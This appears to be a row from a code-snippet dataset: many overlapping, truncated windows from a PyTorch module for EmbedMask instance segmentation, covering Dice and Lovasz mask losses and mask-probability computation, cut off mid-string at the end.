pixel_embed,"],"string":"[\n \"p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union =\",\n \"loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances)\",\n \"loss = 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted):\",\n \"proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed -\",\n \"intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard\",\n \"should be 0 return logits.sum() * 0. signs = 2. * labels.float() -\",\n \"1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks =\",\n \"1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0,\",\n \"= (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1)\",\n \"- intersection / union if p > 1: # cover 1-pixel case jaccard[1:p]\",\n \"else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob,\",\n \"2. * labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted,\",\n \"union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t\",\n \"losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\":\",\n \"pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1)\",\n \"(x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) +\",\n \"0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() *\",\n \"= mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) >\",\n \"mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed =\",\n \"loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst,\",\n \"proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride\",\n \"nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target):\",\n \"min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for\",\n \"torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps =\",\n \"proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob\",\n \"1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w,\",\n \"self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask =\",\n \"= 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1)\",\n \"x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses\",\n \"import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x\",\n \"torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i],\",\n \"1. - intersection / union if p > 1: # cover 1-pixel case\",\n \"self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1]\",\n \"- proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >=\",\n \"jaccard = 1. - intersection / union if p > 1: # cover\",\n \"F from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations,\",\n \"aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst,\",\n \"union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss =\",\n \"0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self,\",\n \"dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss =\",\n \"union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection /\",\n \"gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask\",\n \"gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper\",\n \"cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha\",\n \"at each prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground truth\",\n \"self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride))\",\n \"-1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x)\",\n \"from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps\",\n \"pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds\",\n \"torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride ==\",\n \"gradients should be 0 return logits.sum() * 0. signs = 2. * labels.float()\",\n \"perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad =\",\n \"losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob\",\n \"else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob\",\n \"len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances\",\n \"torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def\",\n \"+= 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks\",\n \"gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1\",\n \"labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target):\",\n \"self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances,\",\n \"= cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] *\",\n \"1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def\",\n \"torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA\",\n \"Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\\\\infty\",\n \"mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"]\",\n \"See Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection\",\n \"+ (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection\",\n \"cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter\",\n \"as F from torch import nn from torch.autograd import Variable from adet.utils.comm import\",\n \"0. signs = 2. * labels.float() - 1. errors = (1. - logits\",\n \"gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def\",\n \"[P] Tensor, binary ground truth labels (0 or 1) \\\"\\\"\\\" if len(labels) ==\",\n \"* 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances,\",\n \"(1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm =\",\n \"== \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask *\",\n \"perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad))\",\n \"mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w\",\n \"compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x =\",\n \"mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return\",\n \"= perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return\",\n \"self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi +\",\n \"= dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob,\",\n \"Variable, logits at each prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary\",\n \"in paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts -\",\n \"loss logits: [P] Variable, logits at each prediction (between -\\\\infty and +\\\\infty) labels:\",\n \"pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks\",\n \"x = torch.log(x) - torch.log(1 - x) losses = [] for i in\",\n \"(x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. -\",\n \"+ eps loss = 1. - (2 * intersection / union) return loss\",\n \"gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if\",\n \"instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2,\",\n \"mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses =\",\n \"lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else:\",\n \"len(labels) == 0: # only void pixels, the gradients should be 0 return\",\n \"\\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between\",\n \"Tensor, binary ground truth labels (0 or 1) \\\"\\\"\\\" if len(labels) == 0:\",\n \"intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] =\",\n \"Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm]\",\n \"x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps)\",\n \"eps loss = 1. - (2 * intersection / union) return loss def\",\n \"lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6\",\n \"* 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed,\",\n \"m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var *\",\n \"jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz\",\n \"* Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted =\",\n \"in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss\",\n \"= x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x\",\n \"[soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self,\",\n \"def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t sorted errors See\",\n \"target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =\",\n \"len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts +\",\n \"def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable, logits at\",\n \"= 2. * labels.float() - 1. errors = (1. - logits * Variable(signs))\",\n \"m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var\",\n \"= cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1\",\n \"grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps\",\n \"return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x =\",\n \"the Lovasz extension w.r.t sorted errors See Alg. 1 in paper \\\"\\\"\\\" p\",\n \"= instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0,\",\n \"= instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:]\",\n \"def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1)\",\n \"Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst\",\n \"= torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if\",\n \"proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num =\",\n \"self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha =\",\n \"== \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\":\",\n \"= proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1,\",\n \"torch from torch.nn import functional as F from torch import nn from torch.autograd\",\n \"errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True)\",\n \"target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def\",\n \"ground truth labels (0 or 1) \\\"\\\"\\\" if len(labels) == 0: # only\",\n \"labels: [P] Tensor, binary ground truth labels (0 or 1) \\\"\\\"\\\" if len(labels)\",\n \"union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] -\",\n \"* labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm\",\n \"pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses =\",\n \"gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0\",\n \"-1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x)\",\n \"= jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge\",\n \"gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for\",\n \"0: # only void pixels, the gradients should be 0 return logits.sum() *\",\n \"= gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union\",\n \"cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels):\",\n \"return logits.sum() * 0. signs = 2. * labels.float() - 1. errors =\",\n \"len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 +\",\n \"1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num,\",\n \"pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num,\",\n \"1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h,\",\n \"intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target **\",\n \"pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed\",\n \"descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted),\",\n \"= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union\",\n \"truth labels (0 or 1) \\\"\\\"\\\" if len(labels) == 0: # only void\",\n \"-1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin,\",\n \"-1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x\",\n \"cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\",\",\n \"pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] =\",\n \"cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds\",\n \"+ pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob\",\n \"target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =\",\n \"MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi\",\n \"functional as F from torch import nn from torch.autograd import Variable from adet.utils.comm\",\n \"-1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1)\",\n \"or 1) \\\"\\\"\\\" if len(labels) == 0: # only void pixels, the gradients\",\n \"mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks)\",\n \"sorted errors See Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts =\",\n \"- x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss =\",\n \"- 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors,\",\n \"= torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted)\",\n \"= torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride\",\n \"= (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1.\",\n \"import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5\",\n \"self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter +=\",\n \"1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts\",\n \"= 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\"\",\n \"of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper \\\"\\\"\\\"\",\n \"# only void pixels, the gradients should be 0 return logits.sum() * 0.\",\n \"import torch from torch.nn import functional as F from torch import nn from\",\n \"Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in\",\n \"gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1: #\",\n \"from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear\",\n \"gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1.\",\n \"proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1,\",\n \"= 1. - intersection / union if p > 1: # cover 1-pixel\",\n \"[P] Variable, logits at each prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor,\",\n \"def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels =\",\n \"= cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training:\",\n \"mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return mask_prob\",\n \"and +\\\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) \\\"\\\"\\\"\",\n \"__call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds\",\n \"labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction\",\n \"return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks\",\n \"only void pixels, the gradients should be 0 return logits.sum() * 0. signs\",\n \"def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1)\",\n \"m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var\",\n \"pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if\",\n \"return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable,\",\n \"instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim,\",\n \"lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable, logits at each\",\n \"= target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1\",\n \"\\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha\",\n \"self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in\",\n \"losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return\",\n \"self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)\",\n \"soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type =\",\n \"+ [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def\",\n \"= {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum()\",\n \"= (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert\",\n \"== 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum()\",\n \"mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin =\",\n \"= x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x,\",\n \"import functional as F from torch import nn from torch.autograd import Variable from\",\n \"self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\",\",\n \"labels (0 or 1) \\\"\\\"\\\" if len(labels) == 0: # only void pixels,\",\n \"Lovasz extension w.r.t sorted errors See Alg. 1 in paper \\\"\\\"\\\" p =\",\n \"= proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1,\",\n \">= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride /\",\n \"= target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1)\",\n \"im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed =\",\n \"mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0:\",\n \"w.r.t sorted errors See Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts\",\n \"gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0)\",\n \"dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob =\",\n \"adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0)\",\n \"- jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits:\",\n \"= instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = 